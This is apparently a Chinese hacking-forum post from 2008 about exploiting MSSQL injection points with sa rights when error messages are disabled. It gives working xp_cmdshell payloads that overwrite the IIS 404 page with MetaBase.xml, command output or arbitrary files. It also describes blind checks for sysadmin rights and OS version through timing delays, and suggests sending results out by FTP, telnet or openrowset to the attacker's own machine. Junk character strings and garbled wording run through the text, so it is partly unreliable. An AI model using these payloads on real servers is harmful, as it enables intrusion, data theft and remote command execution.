遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
' }; s! \% e: p9 W! I: ?6 Y! |9 D1 x% W3 ?! Y$ f
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
( \$ C4 r) g, U, O1 T) Y- [2 s
5 _7 y: o+ W. q( N: F. t7 K) z 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
( l6 t: |$ m, ~5 ` M4 d. R, B$ I) d: v! p* b* H& P
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm) {/ ]: B7 V+ k( t. m0 F
" ~( T7 m7 m; [" |) f: @# G
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
- A7 }# R- x2 N3 V: z. N, x1 n
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。" A1 g/ w; S) I* Z) Z
) I1 ?+ p$ P$ A0 E- J# c8 ? 执行命令得到回显$ R/ i; w( p' Z6 [7 M- \% z
" m' c5 ^( f* Q 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
6 \" _4 m/ q( i6 L1 R
/ B) `2 ^5 U* Y9 g/ A 得到文件也shi相同,把文件copy到404b.htm就行了
) X1 x/ x+ k( l" G
9 O, m8 ~+ F/ V4 j by 28ice, 2008/6/26* }4 l; p) d; U3 g# r6 g
; S P6 h. H8 R; |0 F 摘自 28度的冰/ G( E# s4 C1 D( U# L
6 j$ k5 z# d7 a+ j 盲注判断权限和操作系统版本
3 w; j3 F$ t$ A5 C' X, e* p
+ i8 r! O, Q: A6 [$ u 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?9 k Q$ @/ y( y4 U
1 v& H4 n( o8 i7 a 最简单的,可能以用这样的方法:. Q) | y5 h, Q
; l* K0 w3 Z2 h( m& o% k/ u: W 1=(select IS_SRVROLEMEMBER(’sysadmin’))2 T6 e" A7 h4 m! Z
$ t1 I6 \! J+ G o3 u
当然,有些情况下,这个方法并不奏效。; o, b( x1 t+ l5 H* `7 I1 F
5 T, H) P4 u1 A5 t0 G6 ~( | 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。" U m- _0 }5 N6 p* r
/ o# m2 [8 d$ S' g8 Z9 w* F 有个3办法可能以解决这个问题
6 L, d4 j' t/ d" g9 o6 e: M7 k7 j) P
a.把执行结果写到404b.htm,具体请看我的上一篇文章( D r+ L7 N1 @, {
9 i! n: u$ R, K4 k b+ c7 @% Z
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟0 N5 W, Q- N+ v
- S& S, A8 ^3 x1 [1 j4 S& X
c.如果1433端口可能以连接,那干脆新建个sql登录7 v. F. r+ A3 F ]6 V) I
1 n+ u p4 E/ O0 g d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数; `/ { I4 J4 `2 k5 j
7 |9 T2 \2 X6 ]
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下* J; G4 n- j% q! [
0 z+ n, S# H: ?/ C# L; J 很简单
5 C( L$ ^9 p3 Q% p' l: P% p! ~$ g* O0 E9 P8 x" _6 Q
执行systeminfo
0 T* l' n9 Z$ `. @" b* E! {
( Z: M) b5 l; F+ e3 W 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |